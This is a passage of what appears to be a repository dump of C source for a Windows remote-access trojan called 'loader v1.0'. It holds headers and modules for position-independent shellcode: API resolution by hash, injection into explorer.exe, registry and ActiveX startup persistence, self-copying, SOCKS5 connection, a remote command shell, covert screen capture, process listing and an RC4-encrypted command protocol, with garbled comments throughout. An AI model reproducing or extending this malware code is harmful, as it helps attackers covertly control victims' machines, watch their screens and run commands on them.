xWSACleanup, xhtons, xinet_addr, xgethostbyname, xsocket, xclosesocket, xconnect, xsetsockopt, xsend, xrecv, xselect;\n#else\n  HMODULE kernel32;\n  _LoadLibraryA xLoadLibraryA;\n  _GetProcAddress xGetProcAddress;\n  _GetCurrentProcess xGetCurrentProcess;\n  _CloseHandle xCloseHandle;\n  _OpenProcess xOpenProcess;\n  _lstrlenA xlstrlenA;\n  _lstrlenW xlstrlenW;\n  _lstrcatW xlstrcatW;\n  _lstrcpyA xlstrcpyA;\n  _lstrcpyW xlstrcpyW;\n  _lstrcmpiW xlstrcmpiW;\n  _HeapAlloc xHeapAlloc;\n  _HeapReAlloc xHeapReAlloc;\n  _HeapFree xHeapFree;\n  _GetProcessHeap xGetProcessHeap;\n  _GetModuleHandleA xGetModuleHandleA;\n  _GetModuleFileNameW xGetModuleFileNameW;\n  _CreateMutexA xCreateMutexA;\n  _GetLastError xGetLastError;\n  _Sleep xSleep;\n  _VirtualAllocEx xVirtualAllocEx;\n  _VirtualFreeEx xVirtualFreeEx;\n  _WriteProcessMemory xWriteProcessMemory;\n  _WaitForSingleObject xWaitForSingleObject;\n  _CreateToolhelp32Snapshot xCreateToolhelp32Snapshot;\n  _Process32FirstW xProcess32FirstW;\n  _Process32NextW xProcess32NextW;\n  _ExpandEnvironmentStringsW xExpandEnvironmentStringsW;\n  _CreateProcessW xCreateProcessW;\n  _CreateRemoteThread xCreateRemoteThread;\n  _GetSystemDirectoryW xGetSystemDirectoryW;\n  _GetWindowsDirectoryW xGetWindowsDirectoryW;\n  _CopyFileW xCopyFileW;\n  _DeleteFileW xDeleteFileW;\n\n  HMODULE ntdll;\n  _RtlZeroMemory xRtlZeroMemory;\n  _RtlMoveMemory xRtlMoveMemory;\n  _RtlCompressBuffer xRtlCompressBuffer;\n  _RtlGetCompressionWorkSpaceSize xRtlGetCompressionWorkSpaceSize;\n  _RtlDecompressBuffer xRtlDecompressBuffer;\n\n  HMODULE advapi32;\n  _OpenProcessToken xOpenProcessToken;\n  _LookupPrivilegeValueA xLookupPrivilegeValueA;\n  _AdjustTokenPrivileges xAdjustTokenPrivileges;\n  _RegOpenKeyExA xRegOpenKeyExA;\n  _RegCreateKeyExW xRegCreateKeyExW;\n  _RegSetValueExW xRegSetValueExW;\n  _RegQueryValueExW xRegQueryValueExW;\n  _RegCloseKey xRegCloseKey;\n\n  HMODULE ws2_32;\n  _WSAStartup xWSAStartup;\n  _WSACleanup xWSACleanup;\n  _htons xhtons;\n  _inet_addr xinet_addr;\n  _gethostbyname xgethostbyname;\n  _socket xsocket;\n  _closesocket xclosesocket;\n  _connect xconnect;\n  _setsockopt xsetsockopt;\n  _send xsend;\n  _recv xrecv;\n  _select xselect;\n#endif\n\n  u8 extra_data[1024];\n\n#ifdef _WIN64\n  u32 get_proc_from_hash, rc4_init, rc4_crypt, alloc_memory, realloc_memory, free_memory, alloc_executable_memory, free_executable_memory,\n    compress, decompress, wait_buffer, recv_data, send_data, connect_server;\n#else\n  _get_proc_from_hash get_proc_from_hash;\n  _rc4_init rc4_init;\n  _rc4_crypt rc4_crypt;\n  _alloc_memory alloc_memory;\n  _realloc_memory realloc_memory;\n  _free_memory free_memory;\n  _alloc_executable_memory alloc_executable_memory;\n  _free_executable_memory free_executable_memory;\n  _compress compress;\n  _decompress decompress;\n  _wait_buffer wait_buffer;\n  _recv_data recv_data;\n  _send_data send_data;\n  void *connect_server;   // ޷shellcodeʹ\n#endif\n\n#ifdef _WIN64\n  extra_function_t connect_by_socks5, inject_to_explorer, add_startup_hklm_x86, add_startup_activex_x86, copy_self_x86,\n    find_process_by_name_x86, inject_to_exploer_code_x86;\n\n  HMODULE(*get_kernel32_base_x64)();\n  u16 get_kernel32_base_x64_size;\n\n  HMODULE(*get_ntdll_base_x64)();\n  u16 get_ntdll_base_x64_size;\n\n  HMODULE(*get_proc_from_hash_x64)(HMODULE, u32, _GetProcAddress);\n  u16 get_proc_from_hash_x64_size;\n\n  void(*add_startup_hklm_x64)(struct x64_global_data *, struct global_data *);\n  u16 add_startup_hklm_x64_size;\n\n  void(*add_startup_activex_x64)(struct x64_global_data *, struct global_data *);\n  u16 add_startup_activex_x64_size;\n\n  void(*copy_self_x64)(struct x64_global_data *, struct global_data *);\n  u16 copy_self_x64_size;\n\n  u32(__stdcall *find_process_by_name_x64)(struct x64_global_data *, wchar_t *);\n  u16 find_process_by_name_x64_size;\n\n  extra_function_t inject_to_explorer_code_x64;\n#else\n  extra_function_t connect_by_socks5, inject_to_explorer;\n\n  void(__stdcall *add_startup_hklm_x86)(struct global_data *);\n  u32 dummy0;\n  u16 add_startup_hklm_x86_size;\n\n  void(__stdcall *add_startup_activex_x86)(struct global_data *);\n  u32 dummy1;\n  u16 add_startup_activex_x86_size;\n\n  void(__stdcall *copy_self_x86)(struct global_data *);\n  u32 dummy2;\n  u16 copy_self_x86_size;\n\n  u32(__stdcall *find_process_by_name_x86)(global_data_p, wchar_t *);\n  u32 dummy3;\n  u16 find_process_by_name_x86_size;\n\n  extra_function_t inject_to_explorer_code_x86, get_kernel32_base_x64, get_ntdll_base_x64, get_proc_from_hash_x64, add_startup_hklm_x64,\n    add_startup_activex_x64, copy_self_x64, find_process_by_name_x64, inject_to_explorer_code_x64;\n#endif\n};\n\n// Эͷ\ntypedef struct packet_header {\n  uint32_t random;                // \n  uint32_t signature;             // ־\n  uint8_t  cmd;\n  uint32_t packet_unpacked_size;  // ѹĴС\n  uint32_t packet_size;           // С\n} packet_header_t;\n\n// buffer\ntypedef struct buffer_ {\n  size_t size;\n  uint8_t *data;\n  size_t alloc;\n  global_data_t *global_data;\n} buffer_t;\n\n// bitmap\ntypedef struct bitmap_ {\n  HBITMAP bitmap;\n  PBITMAPINFO info;\n  int info_size;\n  void *bits;\n  int width;\n  int height;\n  int bit_count;\n  HDC dc;\n  BITMAPFILEHEADER file_header;\n  int bitmap_file_size;\n  global_data_t *global_data;\n} bitmap_t;\n\n#include \"extra.inc\"\n#include \"define.inc\"\n\n// extra\ntypedef struct {\n  _buffer_new         buffer_new;\n  _buffer_free        buffer_free;\n  _buffer_checkspace  buffer_checkspace;\n  _buffer_write       buffer_write;\n  _buffer_clear       buffer_clear;\n\n  _msgpack_lite_pack_nil\t\t\t\tmsgpack_lite_pack_nil;\n  _msgpack_lite_pack_boolean\t\tmsgpack_lite_pack_boolean;\n  _msgpack_lite_pack_signed\t\t\tmsgpack_lite_pack_signed;\n  _msgpack_lite_pack_unsigned\t\tmsgpack_lite_pack_unsigned;\n  _msgpack_lite_pack_float\t\t\tmsgpack_lite_pack_float;\n  _msgpack_lite_pack_double\t\t\tmsgpack_lite_pack_double;\n  _msgpack_lite_pack_real\t\t\t\tmsgpack_lite_pack_real;\n  _msgpack_lite_pack_map_size\t\tmsgpack_lite_pack_map_size;\n  _msgpack_lite_pack_str\t\t\t\tmsgpack_lite_pack_str;\n  _msgpack_lite_pack_widestr\t\tmsgpack_lite_pack_widestr;\n  _msgpack_lite_pack_bin_size\t\tmsgpack_lite_pack_bin_size;\n  _msgpack_lite_pack_bin\t\t\t\tmsgpack_lite_pack_bin;\n  _msgpack_lite_pack_array_size\tmsgpack_lite_pack_array_size;\n  _msgpack_lite_pack_insert\t\t\tmsgpack_lite_pack_insert;\n\n  _send_packet                  send_packet;\n  _recv_packet                  recv_packet;\n\n  _bitmap_new                   bitmap_new;\n  _bitmap_free                  bitmap_free;\n  _bitmap_scan_line             bitmap_scan_line;\n  _bitmap_save                  bitmap_save;\n\n  uint32_t                      state;\n\n  void                          *shellcode_main_data;\n\n  struct {\n    void                          *code;\n    void                          *data;\n\n    _get_lan_info                 get_lan_info;\n    _get_os_version               get_os_version;\n    _get_cpu_frequency            get_cpu_frequency;\n  } information;\n\n  struct {\n    void                          *code;\n    void                          *data;\n\n    HANDLE                        cmd_handle, input_read, input_write, output_read, output_write;\n\n    _cmd_shell_initialize         cmd_shell_initialize;\n    _cmd_shell_send_result        cmd_shell_send_result;\n    _cmd_shell_execute            cmd_shell_execute;\n    _cmd_shell_finalize           cmd_shell_finalize;\n  } cmd_shell;\n\n  struct {\n    void                          *code;\n    DWORD                         tick;\n    _thumbnail_send               thumbnail_send;\n  } thumbnail;\n\n  struct {\n    void                          *code;\n\n    int                           screen_width, screen_height, start_line, bit_count;\n    HWND                          desktop_window;\n    HDC                           desktop_dc;\n    bitmap_t                      *bitmap_full, *bitmap_line;\n    bool                          first_screen_sent;\n    RECT                          changed[9];\n    DWORD                         tick;\n\n    _screenspy_initalize          screenspy_initalize;\n    _screenspy_send               screenspy_send;\n    _screenspy_finalize           screenspy_finalize;\n  } screenspy;\n\n  struct {\n    void                          *code;\n\n    _process_send_list            process_send_list;\n  } process;\n\n  HMODULE                       version;\n  HMODULE                       shlwapi;\n  HMODULE                       user32;\n  HMODULE                       gdi32;\n\n  // kernel32\n  _WideCharToMultiByte        xWideCharToMultiByte;\n  _GetTickCount               xGetTickCount;\n  _GetComputerNameW           xGetComputerNameW;\n  _GlobalMemoryStatusEx       xGlobalMemoryStatusEx;\n  _GetLocaleInfoA             xGetLocaleInfoA;\n  _CreatePipe                 xCreatePipe;\n  _GetExitCodeProcess         xGetExitCodeProcess;\n  _PeekNamedPipe              xPeekNamedPipe;\n  _ReadFile                   xReadFile;\n  _WriteFile                  xWriteFile;\n  _TerminateProcess           xTerminateProcess;\n  _GetCurrentThreadId         xGetCurrentThreadId;\n  _lstrcmpiA                  xlstrcmpiA;\n  _GetSystemDirectoryA        xGetSystemDirectoryA;\n  _lstrcatA                   xlstrcatA;\n\n  // advapi32\n  _GetUserNameW               xGetUserNameW;\n  _RegQueryValueExA           xRegQueryValueExA;\n\n  // ws2_32\n  _gethostname                xgethostname;\n  _inet_ntoa                  xinet_ntoa;\n\n  // version\n  _GetFileVersionInfoSizeA    xGetFileVersionInfoSizeA;\n  _VerQueryValueA             xVerQueryValueA;\n  _GetFileVersionInfoA        xGetFileVersionInfoA;\n\n  // shlwapi\n  _wnsprintfA                 xwnsprintfA;\n\n  // user32\n  _MessageBoxA                xMessageBoxA;\n  _SetRect                    xSetRect;\n  _GetUserObjectInformationA  xGetUserObjectInformationA;\n  _SetThreadDesktop           xSetThreadDesktop;\n  _CloseDesktop               xCloseDesktop;\n  _GetSystemMetrics           xGetSystemMetrics;\n  _GetDesktopWindow           xGetDesktopWindow;\n  _GetDC                      xGetDC;\n  _ReleaseDC                  xReleaseDC;\n  _SetRectEmpty               xSetRectEmpty;\n  _GetCursorPos               xGetCursorPos;\n  _GetThreadDesktop           xGetThreadDesktop;\n  _OpenInputDesktop           xOpenInputDesktop;\n\n  // gdi32\n  _CreateCompatibleBitmap     xCreateCompatibleBitmap;\n  _GetDIBits                  xGetDIBits;\n  _CreateDIBSection           xCreateDIBSection;\n  _CreateCompatibleDC         xCreateCompatibleDC;\n  _SelectObject               xSelectObject;\n  _DeleteDC                   xDeleteDC;\n  _DeleteObject               xDeleteObject;\n  _BitBlt                     xBitBlt;\n  _StretchBlt                 xStretchBlt;\n} extra_t;\n\n#pragma pack(pop)\n\n#define extra_data()\t\t\t\t\t                ((extra_t *)global_data->extra_data)\n#define xWideCharToMultiByte\t\t\t            ((extra_t *)global_data->extra_data)->xWideCharToMultiByte\n#define xGetTickCount\t\t\t                    ((extra_t *)global_data->extra_data)->xGetTickCount\n#define xgethostname\t\t\t\t\t                ((extra_t *)global_data->extra_data)->xgethostname\n#define xinet_ntoa\t\t\t\t\t\t                ((extra_t *)global_data->extra_data)->xinet_ntoa\n#define xGetFileVersionInfoSizeA\t            ((extra_t *)global_data->extra_data)->xGetFileVersionInfoSizeA\n#define xGetFileVersionInfoA\t\t\t            ((extra_t *)global_data->extra_data)->xGetFileVersionInfoA\n#define xVerQueryValueA\t\t\t\t\t              ((extra_t *)global_data->extra_data)->xVerQueryValueA\n#define xwnsprintfA\t\t\t\t\t\t                ((extra_t *)global_data->extra_data)->xwnsprintfA\n#define xGetComputerNameW\t\t\t\t              ((extra_t *)global_data->extra_data)->xGetComputerNameW\n#define xGetUserNameW\t\t\t\t\t                ((extra_t *)global_data->extra_data)->xGetUserNameW\n#define xGlobalMemoryStatusEx\t\t\t            ((extra_t *)global_data->extra_data)->xGlobalMemoryStatusEx\n#define xGetLocaleInfoA\t\t\t\t\t              ((extra_t *)global_data->extra_data)->xGetLocaleInfoA\n#define xRegQueryValueExA\t\t\t\t              ((extra_t *)global_data->extra_data)->xRegQueryValueExA\n#define xMessageBoxA\t\t\t\t                  ((extra_t *)global_data->extra_data)->xMessageBoxA\n#define xCreatePipe\t\t\t\t                    ((extra_t *)global_data->extra_data)->xCreatePipe\n#define xGetExitCodeProcess\t\t\t\t            ((extra_t *)global_data->extra_data)->xGetExitCodeProcess\n#define xPeekNamedPipe\t\t\t\t                ((extra_t *)global_data->extra_data)->xPeekNamedPipe\n#define xReadFile\t\t\t\t                      ((extra_t *)global_data->extra_data)->xReadFile\n#define xWriteFile\t\t\t\t                    ((extra_t *)global_data->extra_data)->xWriteFile\n#define xTerminateProcess\t\t\t\t              ((extra_t *)global_data->extra_data)->xTerminateProcess\n#define xCreateCompatibleBitmap               ((extra_t *)global_data->extra_data)->xCreateCompatibleBitmap\n#define xGetDIBits                            ((extra_t *)global_data->extra_data)->xGetDIBits\n#define xCreateDIBSection                     ((extra_t *)global_data->extra_data)->xCreateDIBSection\n#define xCreateCompatibleDC                   ((extra_t *)global_data->extra_data)->xCreateCompatibleDC\n#define xSelectObject                         ((extra_t *)global_data->extra_data)->xSelectObject\n#define xDeleteDC                             ((extra_t *)global_data->extra_data)->xDeleteDC\n#define xDeleteObject                         ((extra_t *)global_data->extra_data)->xDeleteObject\n#define xSetRect                              ((extra_t *)global_data->extra_data)->xSetRect\n#define xGetCurrentThreadId                   ((extra_t *)global_data->extra_data)->xGetCurrentThreadId\n#define xGetUserObjectInformationA            ((extra_t *)global_data->extra_data)->xGetUserObjectInformationA\n#define xlstrcmpiA                            ((extra_t *)global_data->extra_data)->xlstrcmpiA\n#define xSetThreadDesktop                     ((extra_t *)global_data->extra_data)->xSetThreadDesktop\n#define xCloseDesktop                         ((extra_t *)global_data->extra_data)->xCloseDesktop\n#define xGetSystemMetrics                     ((extra_t *)global_data->extra_data)->xGetSystemMetrics\n#define xGetDesktopWindow                     ((extra_t *)global_data->extra_data)->xGetDesktopWindow\n#define xGetDC                                ((extra_t *)global_data->extra_data)->xGetDC\n#define xReleaseDC                            ((extra_t *)global_data->extra_data)->xReleaseDC\n#define xSetRectEmpty                         ((extra_t *)global_data->extra_data)->xSetRectEmpty\n#define xBitBlt                               ((extra_t *)global_data->extra_data)->xBitBlt\n#define xGetCursorPos                         ((extra_t *)global_data->extra_data)->xGetCursorPos\n#define xStretchBlt                           ((extra_t *)global_data->extra_data)->xStretchBlt\n#define xGetThreadDesktop                     ((extra_t *)global_data->extra_data)->xGetThreadDesktop\n#define xOpenInputDesktop                     ((extra_t *)global_data->extra_data)->xOpenInputDesktop\n#define xGetSystemDirectoryA                  ((extra_t *)global_data->extra_data)->xGetSystemDirectoryA\n#define xlstrcatA                             ((extra_t *)global_data->extra_data)->xlstrcatA\n\n#define xbuffer_new()\t\t\t\t\t     ((extra_t *)global_data->extra_data)->buffer_new(global_data)\n#define xbuffer_free\t\t\t\t\t     ((extra_t *)global_data->extra_data)->buffer_free\n#define xbuffer_checkspace\t\t\t\t ((extra_t *)global_data->extra_data)->buffer_checkspace\n#define xbuffer_write\t\t\t\t\t     ((extra_t *)global_data->extra_data)->buffer_write\n#define xbuffer_clear\t\t\t\t\t     ((extra_t *)global_data->extra_data)->buffer_clear\n\n#define xinformation               ((extra_t *)global_data->extra_data)->information\n\n#define xget_lan_info(a)           ((extra_t *)global_data->extra_data)->information.get_lan_info(global_data, a)\n#define xget_os_version(a, b)      ((extra_t *)global_data->extra_data)->information.get_os_version(global_data, a, b)\n#define xget_cpu_frequency()       ((extra_t *)global_data->extra_data)->information.get_cpu_frequency(global_data)\n\n#define mlp_nil\t\t\t\t             ((extra_t *)global_data->extra_data)->msgpack_lite_pack_nil\t\t\t\t\n#define mlp_boolean\t\t             ((extra_t *)global_data->extra_data)->msgpack_lite_pack_boolean\t\t\n#define mlp_signed\t\t\t           ((extra_t *)global_data->extra_data)->msgpack_lite_pack_signed\t\t\t\n#define mlp_unsigned\t\t           ((extra_t *)global_data->extra_data)->msgpack_lite_pack_unsigned\t\t\n#define mlp_float\t\t\t             ((extra_t *)global_data->extra_data)->msgpack_lite_pack_float\t\t\t\n#define mlp_double\t\t\t           ((extra_t *)global_data->extra_data)->msgpack_lite_pack_double\t\t\t\n#define mlp_real\t\t\t\t           ((extra_t *)global_data->extra_data)->msgpack_lite_pack_real\t\t\t\t\n#define mlp_map_size\t\t           ((extra_t *)global_data->extra_data)->msgpack_lite_pack_map_size\t\t\n#define mlp_str\t\t\t\t             ((extra_t *)global_data->extra_data)->msgpack_lite_pack_str\t\t\t\t\n#define mlp_widestr\t\t             ((extra_t *)global_data->extra_data)->msgpack_lite_pack_widestr\t\t\n#define mlp_bin_size\t\t           ((extra_t *)global_data->extra_data)->msgpack_lite_pack_bin_size\t\t\n#define mlp_bin\t\t\t\t             ((extra_t *)global_data->extra_data)->msgpack_lite_pack_bin\t\t\t\t\n#define mlp_array_size\t           ((extra_t *)global_data->extra_data)->msgpack_lite_pack_array_size\t\n#define mlp_insert\t\t\t           ((extra_t *)global_data->extra_data)->msgpack_lite_pack_insert\n\n#define xsend_packet(a, b, c, d)   ((extra_t *)global_data->extra_data)->send_packet(global_data, a, b, c, d)\n#define xrecv_packet(a, b, c, d)   ((extra_t *)global_data->extra_data)->recv_packet(global_data, a, b, c, d)\n\n#define xbitmap_new(a, b, c, d)    ((extra_t *)global_data->extra_data)->bitmap_new(global_data, a, b, c, d)\n#define xbitmap_free           \t\t ((extra_t *)global_data->extra_data)->bitmap_free\n#define xbitmap_scan_line      \t\t ((extra_t *)global_data->extra_data)->bitmap_scan_line\n#define xbitmap_save           \t\t ((extra_t *)global_data->extra_data)->bitmap_save\n\n#define xcmd_shell                 ((extra_t *)global_data->extra_data)->cmd_shell\n\n#define xcmd_shell_initialize(a)   ((extra_t *)global_data->extra_data)->cmd_shell.cmd_shell_initialize(global_data, a)\n#define xcmd_shell_send_result(a)  ((extra_t *)global_data->extra_data)->cmd_shell.cmd_shell_send_result(global_data, a)\n#define xcmd_shell_execute(a, b)   ((extra_t *)global_data->extra_data)->cmd_shell.cmd_shell_execute(global_data, a, b)\n#define xcmd_shell_finalize(a)     ((extra_t *)global_data->extra_data)->cmd_shell.cmd_shell_finalize(global_data, a)\n\n#define xthumbnail                 ((extra_t *)global_data->extra_data)->thumbnail\n\n#define xthumbnail_send(a)         ((extra_t *)global_data->extra_data)->thumbnail.thumbnail_send(global_data, a)\n\n#define xscreenspy                 ((extra_t *)global_data->extra_data)->screenspy\n\n#define xscreenspy_initalize(a, b)    ((extra_t *)global_data->extra_data)->screenspy.screenspy_initalize(global_data, a, b)\n#define xscreenspy_send(a)            ((extra_t *)global_data->extra_data)->screenspy.screenspy_send(global_data, a)\n#define xscreenspy_finalize(a)        ((extra_t *)global_data->extra_data)->screenspy.screenspy_finalize(global_data, a)\n\n#define xprocess                      ((extra_t *)global_data->extra_data)->process\n\n#define xprocess_send_list(a)         ((extra_t *)global_data->extra_data)->process.process_send_list(global_data, a)\n\nenum {\n  CMD_SHELLCODE_MAIN,           // shell code main\n  CMD_SHELLCODE_INFORMATION,    // shellcode information\n  CMD_SHELLCODE_CMD_SHELL,      // cmd_shell\n  CMD_SHELLCODE_THUMBNAIL,      // thumbnail\n  CMD_SHELLCODE_SCREENSPY,      // screenspy\n  CMD_SHELLCODE_PROCESS,         // process\n\n  CMD_PING,                 // ping\n  CMD_PONG,                 // pingظ\n\n  CMD_LOGIN_INFO,           // ½Ϣ\n\n  CMD_GET_PROCESS_LIST,     // ȡб\n  CMD_PROCESS_LIST,         // б\n\n  CMD_BEGIN_SCREENSPY,      // Ļ\n  CMD_STOP_SCREENSPY,       // رĻ\n\n  CMD_SCREENSPY_START,      // ֪ͨ\n  CMD_SCREENSPY_DATA,       // Ļ\n  CMD_SCREENSPY_END,        // ر֪ͨ\n\n  CMD_THUMBANIL_START,      // ѭȡͼ\n  CMD_THUMBNAIL_DATA,       // Ļͼ\n  CMD_THUMBANIL_END,        // ͼ\n\n  CMD_BEGIN_CMDSHELL,       // cmdshell\n  CMD_STOP_CMDSHELL,        // رcmdshell\n\n  CMD_CMDSHELL_START,       // ֪ͨ\n  CMD_CMDSHELL_DATA,        // cmdݣserver to client = command, client to server = cmdshell data\n  CMD_CMDSHELL_END          // ر֪ͨ\n};\n\n#define BUFFER_INIT_SIZE 512\n#define PACKET_HEADER_SIGNATURE 0xdeedbeef\n#define MIN_COMPRESS_DATA_SIZE 512\n\n#define WAIT_BUFFER_TIMEOUT 60 * 2\n\n#define STATE_SCREEN_SPY  (1)\n#define STATE_CMD_SHELL   (1 << 2)\n#define STATE_THUMBNAIL   (1 << 3)\n\n#define FUNCTIONS_VERSION 0x001     // 汾0 ΰ汾0 С汾1\n\n#endif  // GLOBAL_DATA_H"
  },
  {
    "path": "loader v1.0/functions/functions/information.c",
    "content": "#include \"shellcodes.h\"\n#include \"global_data.h\"\n\nextern void __cdecl information_entry(global_data_t *global_data);\nextern void __cdecl get_lan_info(global_data_t *global_data, char *info);\nextern void __cdecl get_os_version(global_data_t *global_data, char *info, int size);\nextern uint32_t __cdecl get_cpu_frequency(global_data_t *global_data);\nextern void __cdecl information_code_end();\n\n#pragma pack(push)\n#pragma pack(1)\ntypedef struct {\n  char ntoskrnl[14];      // \"\\\\ntoskrnl.exe\"\n  char unknown[8];        // \"unknown\"\n  char fmt_version[12];   // \"%d.%d.%d.%d\"\n  char cpu_info_key[47];  // \"HARDWARE\\\\DESCRIPTION\\\\System\\\\CentralProcessor\\\\0\"\n  char mhz[5];            // \"~MHz\" \n  char slash[2];          // \"\\\\\"\n} information_data_t;\n#pragma pack(pop)\n\n#define FIX(name) xinformation.##name = (_##name)(delta + (char *)name)\n\n#pragma optimize(\"ts\", on)\n\nvoid __cdecl information_entry(global_data_t *global_data) {\n  uint32_t delta;\n\n  __asm {\n    call x;\n  x:\n    pop\teax;\n    sub\teax, offset x;\n    mov\tdelta, eax\n  }\n\n  information_data_t *data = (information_data_t *)(delta + (char *)information_code_end);\n  \n  xinformation.data = data;\n\n  FIX(get_lan_info);\n  FIX(get_os_version);\n  FIX(get_cpu_frequency);\n}\n\n#undef FIX                // undef macro FIX\n\nvoid get_lan_info(global_data_t *global_data, char *info) {\n  char local_name[128];\n\n  xgethostname(local_name, sizeof(local_name));\n  HOSTENT *hosts = xgethostbyname(local_name);\n  if (hosts == 0) return;\n\n  xlstrcpyA(info, xinet_ntoa(*(struct in_addr *)hosts->h_addr_list[0]));\n}\n\nvoid __cdecl get_os_version(global_data_t *global_data, char *info, int size) {\n  information_data_t *data = (information_data_t *)xinformation.data;\n\n  char sys_path[MAX_PATH];\n\n  xGetSystemDirectoryA(sys_path, MAX_PATH);\n  xlstrcatA(sys_path, data->ntoskrnl);\n\n  DWORD temp;\n  DWORD ver_size = xGetFileVersionInfoSizeA(sys_path, &temp);\n  void *ver_info = alloc_memory(ver_size);\n\n  if (!xGetFileVersionInfoA(sys_path, 0, ver_size, ver_info)) {\n    xlstrcpyA(info, data->unknown);\n    goto __error_exit;\n  }\n\n  UINT value_len;\n  void *value;\n\n  if (!xVerQueryValueA(ver_info, data->slash, &value, &value_len)) {\n    xlstrcpyA(info, data->unknown);\n    goto __error_exit;\n  }\n\n  VS_FIXEDFILEINFO *vsfi = (VS_FIXEDFILEINFO *)value;\n\n  if (vsfi->dwSignature != 0xFEEF04BD) {\n    xlstrcpyA(info, data->unknown);\n    goto __error_exit;\n  }\n\n  xwnsprintfA(info, size, data->fmt_version, HIWORD(vsfi->dwFileVersionMS), LOWORD(vsfi->dwFileVersionMS), HIWORD(vsfi->dwFileVersionLS),\n    LOWORD(vsfi->dwFileVersionLS));\n\n__error_exit:\n  free_memory(ver_info);\n}\n\nuint32_t __cdecl get_cpu_frequency(global_data_t *global_data) {\n  information_data_t *data = (information_data_t *)xinformation.data;\n\n  HKEY reg;\n  uint32_t type, ret, size;\n\n  xRegOpenKeyExA(HKEY_LOCAL_MACHINE, data->cpu_info_key, 0, KEY_READ, &reg);\n\n  type = REG_DWORD;\n  size = sizeof(DWORD);\n  xRegQueryValueExA(reg, data->mhz, 0, &type, (LPBYTE)&ret, &size);\n\n  xRegCloseKey(reg);\n\n  return ret;\n};\n\nvoid __cdecl information_code_end() {\n  printf(__FUNCTION__);\n}\n\n#pragma optimize(\"ts\", off)\n\n#undef FIX             // undef macro FIX\n\nvoid information_save(char *filename) {\n  char *start, *end;\n  FILE *f;\n\n  start = (char *)information_entry;\n  end = (char *)information_code_end;\n\n  printf(\"[*] information code size = 0x%X\\n\", end - start);\n\n  f = fopen(filename, \"wb\");\n  fwrite(start, 1, end - start, f);\n\n  information_data_t data;\n\n  memset(&data, 0, sizeof(data));\n\n  lstrcpyA(data.ntoskrnl, \"\\\\ntoskrnl.exe\");\n  lstrcpyA(data.unknown, \"unknown\");\n  lstrcpyA(data.fmt_version, \"%d.%d.%d.%d\");\n  lstrcpyA(data.cpu_info_key, \"HARDWARE\\\\DESCRIPTION\\\\System\\\\CentralProcessor\\\\0\");\n  lstrcpyA(data.mhz, \"~MHz\");\n  lstrcpyA(data.slash, \"\\\\\");\n\n  fwrite(&data, 1, sizeof(data), f);\n\n  printf(\"[*] information data size = 0x%X\\n\", sizeof(data));\n\n  fclose(f);\n  printf(\"[*] save information to %s success.\\n\", filename);\n}\n"
  },
  {
    "path": "loader v1.0/functions/functions/msgpack_lite.inc",
    "content": "#define global_data buf->global_data  // define globaldata for other\n\n#pragma warning(push)\n#pragma warning(disable:4244) // 去除转换可能丢失数据的警告\n\n// windows都是little endian而msgpack是big endian所以这里只处理小端序\n#define _store16(p, x) *(uint16_t *)p = (uint16_t)((((x) >> 8) & 0x0ff) | (x) << 8)\n\n#define _store32(p, x)                    \\\n  *(uint32_t *)p =                        \\\n    ((uint32_t)(((uint32_t)(x)) >> 24)) | \\\n    (((uint32_t)(x) & 0x00ff0000) >> 8) | \\\n    (((uint32_t)(x) & 0x0000ff00) << 8) | \\\n    ((uint32_t)(((uint32_t)(x)) << 24));\n\n#define _store64(p, x)                                      \\\n    *(uint64_t*)p =                                         \\\n        ((uint64_t)(                                        \\\n        (((((uint64_t)(x)) >> 40) |                         \\\n        (((uint64_t)(x)) << 24)) & 0x0000ff000000ff00ULL) | \\\n        (((((uint64_t)(x)) >> 24) |                         \\\n        (((uint64_t)(x)) << 40)) & 0x00ff000000ff0000ULL) | \\\n        (((uint64_t)(x) & 0x000000ff00000000ULL) >>  8) |   \\\n        (((uint64_t)(x) & 0x00000000ff000000ULL) <<  8) |   \\\n        (((uint64_t)(x)) >> 56) |                           \\\n        (((uint64_t)(x)) << 56)));\n\n#define _load16(p, d)                   \\\n    d = *(uint16_t *)(p);               \\\n    d = (uint16_t)((d << 8) | (d >> 8))\n\n#define _load32(p, d)                         \\\n    d = *(uint32_t *)(p);                     \\\n    d = (d << 24) | ((d & 0xff00) << 8) |     \\\n            ((d & 0xff0000) >> 8) | (d >> 24)\n\n#define _load64(p, d)                         \\\n    d = *(uint64_t *)(p);                     \\\n    d = ((((d >> 40) |                        \\\n        (d << 24)) & 0x0000ff000000ff00ULL) | \\\n        (((d >> 24) |                         \\\n        (d << 40)) & 0x00ff000000ff0000ULL) | \\\n        ((d & 0x000000ff00000000ULL) >>  8) | \\\n        ((d & 0x00000000ff000000ULL) <<  8) | \\\n        (d >> 56) |                           \\\n        (d << 56))\n\n#define move0(d) {   \\\n    buffer_checkspace(buf, sizeof(uint8_t)); \\\n    uint8_t *s = buf->data + buf->size; \\\n    *s = d;         \\\n    buf->size += sizeof(uint8_t);  \\\n    return; \\\n  }\n\n#define move1(t, d) {     \\\n    buffer_checkspace(buf, sizeof(uint8_t) + sizeof(uint8_t)); \\\n    uint8_t *s = buf->data + buf->size; \\\n    *s++ = (uint8_t)t;  \\\n    *s++ = (uint8_t)d;  \\\n    buf->size += sizeof(uint8_t) + sizeof(uint8_t);  \\\n    return; \\\n  }\n\n#define move2(t, d) {           \\\n    buffer_checkspace(buf, sizeof(uint8_t) + sizeof(uint16_t)); \\\n    uint8_t *s = buf->data + buf->size; \\\n    *s++ = (uint8_t)t;        \\\n    _store16(s, (uint16_t)d); \\\n    buf->size += sizeof(uint8_t) + sizeof(uint16_t);    \\\n    return; \\\n  }\n\n#define move4(t, d) {           \\\n    buffer_checkspace(buf, sizeof(uint8_t) + sizeof(uint32_t)); \\\n    uint8_t *s = buf->data + buf->size; \\\n    *s++ = (uint8_t)t;        \\\n    _store32(s, (uint32_t)d); \\\n    buf->size += sizeof(uint8_t) + sizeof(uint32_t);    \\\n    return; \\\n  }\n\n#define move8(t, d) {           \\\n    buffer_checkspace(buf, sizeof(uint8_t) + sizeof(uint64_t)); \\\n    uint8_t *s = buf->data + buf->size; \\\n    *s++ = (uint8_t)t;        \\\n    _store64(s, (uint64_t)d); \\\n    buf->size += sizeof(uint8_t) + sizeof(uint64_t);    \\\n    return; \\\n  }\n\nvoid __cdecl msgpack_lite_pack_nil(buffer_t *buf) {\n  move0(0xc0);\n};\n\nvoid __cdecl msgpack_lite_pack_boolean(buffer_t *buf, bool b) {\n  if (b)\n    move0(0xc3)\n  else\n  move0(0xc2);\n};\n\nvoid __cdecl msgpack_lite_pack_signed(buffer_t *buf, int64_t i) {\n  if (i > 0x7f) {\n    if (i < 0x100)\n      move1(0xcc, 